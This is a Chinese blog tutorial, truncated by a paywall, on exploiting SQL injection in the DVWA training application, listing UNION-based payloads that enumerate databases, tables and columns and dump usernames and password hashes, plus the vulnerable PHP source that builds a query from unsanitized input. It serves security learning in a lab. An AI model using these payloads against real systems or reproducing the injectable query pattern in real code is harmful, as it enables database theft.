DVWA 之 SQL Injection

最新推荐文章于 2025-04-06 23:07:18 发布

平平无奇小咸鱼

最新推荐文章于 2025-04-06 23:07:18 发布

阅读量283

点赞数

本文链接：https://blog.youkuaiyun.com/weixin_46665974/article/details/110394435

版权

本文详细探讨了DVWA中SQL Injection的LOW、Medium和High三个等级的漏洞利用，通过手工注入测试和源码分析揭示了不同等级的防御措施。在LOW等级，直接注入单引号触发错误，通过联合查询获取敏感信息。Medium等级，利用数字型注入绕过转义，同样获取数据。而High等级由于额外的防御函数和is_numeric()检查，使得直接注入变得困难。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

根据自己的知识积累进行手工注入测试，若有说的不恰当的地方，还望指正~

因为我发现不同版本的DVWA源码有一定程度上的不同，所以我会把源码在每题讲解后面贴出来，这样可以方便对应，我这里的版本是 v1.0.7
在这里插入图片描述

一、LOW等级

输入框输入单引号’，报错

证明有SQL注入
‘ union select 1,2 # 可以看哪些数据可以回显

如果跟能回显的数据量不一样，则报错

在这里插入图片描述

查看所有数据库名称，'union select 1,group_concat(schema_name) from information_schema.schemata #
查看当前数据库，’ union select 1,database() #
查看数据库dvwa下的表
’ union select 1,table_name from information_schema.tables where table_schema=“dvwa” #
查看users 表的字段 ’ union select 1,group_concat(column_name) from information_schema.columns where table_name=“users” #
查看users表里的user 和 password ，中间用~连起来 ’ union select 1,concat_ws(’~’,user,password) from dvwa.users #

这里不得不说，手工注入还是比不上sqlmap，如果是在sqlmap，这里显示的密码就不是hash值了，而是给我们爆破解出来的值了。

#LOW等级源码
<?php    

if(isset($_GET['Submit'])){
   
    
    // Retrieve data
    
    $id = $_GET['id'];

    $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
    $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );

    $num = mysql_numrows($result);

    $i = 0;

最低0.47元/天解锁文章